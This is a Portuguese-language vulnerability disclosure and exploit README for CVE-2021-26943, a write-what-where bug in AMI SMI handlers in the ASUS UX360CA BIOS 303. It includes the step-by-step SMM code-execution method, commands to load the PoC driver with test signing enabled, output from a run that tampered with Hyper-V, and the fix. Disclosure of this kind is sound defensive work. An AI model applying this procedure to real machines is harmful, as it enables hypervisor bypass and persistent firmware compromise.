SmmExploit

Este é um relatório e um exploit do CVE-2021-26943, a vulnerabilidade de escalada de privilégio local do kernel para SMM no BIOS ASUS UX360CA versão 303. O problema foi corrigido na versão 304.

Descrição do Problema

Resumo

O BIOS UX360CA versão 303 possui 3 módulos vulneráveis que permitem a um atacante com privilégio ring0 sobrescrever quase qualquer memória física, incluindo SMRAM, e executar código arbitrário em SMM.

Esses módulos podem ser identificados da seguinte forma:

Nome	GUID	SHA256
UsbRt	04EAAAA1-29A1-11D7-8838-00500473D4EB	8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781
SdioSmm	EA343100-1A37-4239-A3CB-B92240B935CF	4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A
NvmeSmm	E5E2C9D9-5BF5-497E-8860-94F81A09ADE0	A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003

Esses módulos são da AMI (fornecedor de BIOS) e podem estar presentes no BIOS de outros OEMs.

Vulnerabilidades

Os módulos vulneráveis e os SMIs correspondentes são: UsbRt (0x31), SdioSmm (0x40) e NvmeSmm (0x42). Todos esses manipuladores de SMI leem o endereço de memória física 0x40E para obter um endereço para trabalhar e escrevem um byte no endereço em caso de erro, mesmo que seja SMRAM.

Por exemplo, o manipulador SMI do SdioSmm se parece com o seguinte:

EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
  EFI_HANDLE  DispatchHandle,
  CONST VOID  *Context,
  VOID        *CommBuffer,
  UINTN       *CommBufferSize
  )
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
    || userControlled->Offset0_FunctionCode >= 4 )
  {
    userControlled->Offset2 = 7;
  }
  else
  {
    // ...
  }
  return EFI_SUCCESS;
}

Este problema parece ser idêntico ao INTEL-SA-00057, que é muito bem descrito como Aptiocalypsis. No entanto, a versão 303 do BIOS para UX360CA não inclui correções para eles.

Exploração

Isso permite que um atacante com acesso de escrita à memória física e a instrução OUT (ou seja, privilégios ring0) sobrescreva o conteúdo da SMRAM com os seguintes passos:

1. Certifique-se de que o endereço físico 0x40e é zero (o que provavelmente já é o caso)
2. Escreva um endereço da SMRAM, por exemplo 0x88400000, no endereço físico 0x104
3. Emita o SMI 0x40
4. 0x88400000+2 é atualizado com 0x7.

Isso pode ser usado para obter execução de código arbitrário em SMM da seguinte forma:

1. Encontre o endereço da Tabela de Serviços de Gerenciamento do Sistema (SMST) na SMRAM, com os passos abaixo:
   1. Obtenha um intervalo de endereços físicos para o código de runtime UEFI a partir do conteúdo do valor .Raw em HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved
   2. Encontre o endereço de SMM_CORE_PRIVATE_DATA varrendo a assinatura 'smmc' do intervalo de endereços.
   3. SMM_CORE_PRIVATE_DATA tem o ponteiro para o SMST no offset 30h
2. Sobrescreva o ponteiro para a função SmmLocateProtocol no offset d0h do SMST usando a primitiva de escrita acima. O valor é atualizado para 0x07070707.
3. Escreva shellcode na memória física 0x07070707
4. Dispare outro SMI que chame Smst->SmmLocateProtocol, como SMI 0xdf. O shellcode em 0x07070707 é executado em SMM.

A execução de código arbitrário em SMM permitiria que um atacante contornasse medidas de segurança do kernel e do hypervisor, como o HVCI, conforme demonstrado em outro relatório de vulnerabilidade SMM, e estabelecesse persistência atualizando o conteúdo da flash SPI (BIOS).

Prova de Conceito (PoC)

O projeto de demonstração anexado demonstra a exploração bem-sucedida e despeja o conteúdo de MSRs que são acessíveis apenas em SMM e o endereço físico do EPTP. Ele também modifica o código de tratamento de saída de VM do CPUID do hypervisor Hyper-V para retornar uma string de fornecedor de hypervisor alterada.

O PoC foi testado no Windows build 18362.1256, com e sem HVCI ativado.

A gravação da exploração bem-sucedida pode ser encontrada no YouTube.

Instruções de Teste

1. Abra o demo.sln no Visual Studio 2019
2. Compile a solução para Debug ou Release
3. Copie o demo.sys compilado para o sistema alvo (por exemplo, C:\users\user\desktop\demo.sys)

No sistema alvo,

1. Desative o secure boot pelo BIOS e reinicie
2. Ative o modo de teste de assinatura e reinicie

   > bcdedit /set testsigning on
   

3. Crie o serviço para carregar o demo.sys

   > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
   

4. Inicie o DebugView e ative "Capture Kernel" no menu "Capture".
5. Inicie o demo

   > sc start demo
   

6. Se bem-sucedido, o DebugView mostrará valores de MSRs relacionados ao SMM.

   [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
   [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
   [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
   [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
   [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
   [+] ExploitSmm: Placed SMM shell code
   [+] ExploitSmm: Triggered SMM exploit
   [+] DumpSmmExploitOuput: IA32_SMBASE             = 0x887cd000
   [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
   [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP         = 0xc00000000000000
   [+] DumpSmmExploitOuput: EPT pointer             = 0x10a72001e
   [+] DumpSmmExploitOuput: Patched Hv address      = 0x1004382f0
   [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
   DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
   

7. Se o Hyper-V estiver em execução e a modificação do código foi bem-sucedida, o CPUID 0x4000000 retornará a string de fornecedor de hypervisor modificada Hv Tampered!.

   > CheckHvVendor.exe
   Executing CPUID(0x40000000) on CPU 0
   Result: Hv Tampered!
   Executing CPUID(0x40000000) on CPU 1
   Result: Hv Tampered!
   Executing CPUID(0x40000000) on CPU 2
   Result: Hv Tampered!
   Executing CPUID(0x40000000) on CPU 3
   Result: Hv Tampered!
   

Resolução

A correção é evitar usar o conteúdo controlado pelo usuário quando ele aponta para dentro de SMRAM, conforme mostrado abaixo.

{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
  {
    if (userControlled->Offset0_FunctionCode < 7 )
    {
      // ...
    }
    else
    {
      userControlled->Offset2 = 7;
    }
  }
  return EFI_SUCCESS;
}

Considerações

Proteção ausente para hypervisor

A correção segue perfeitamente a melhor prática atual da indústria e previne o ataque de confused deputy que leva à corrupção da SMRAM.

Observe que ela não leva em conta as regiões de memória do hypervisor, no entanto. Um atacante com conhecimento do endereço de memória física onde o hypervisor está carregado ou usado ainda poderia solicitar o SMI para sobrescrever código ou dados do hypervisor e obter a corrupção do hypervisor.

Este é um problema prevalente, de longa existência e até mesmo de nível de design.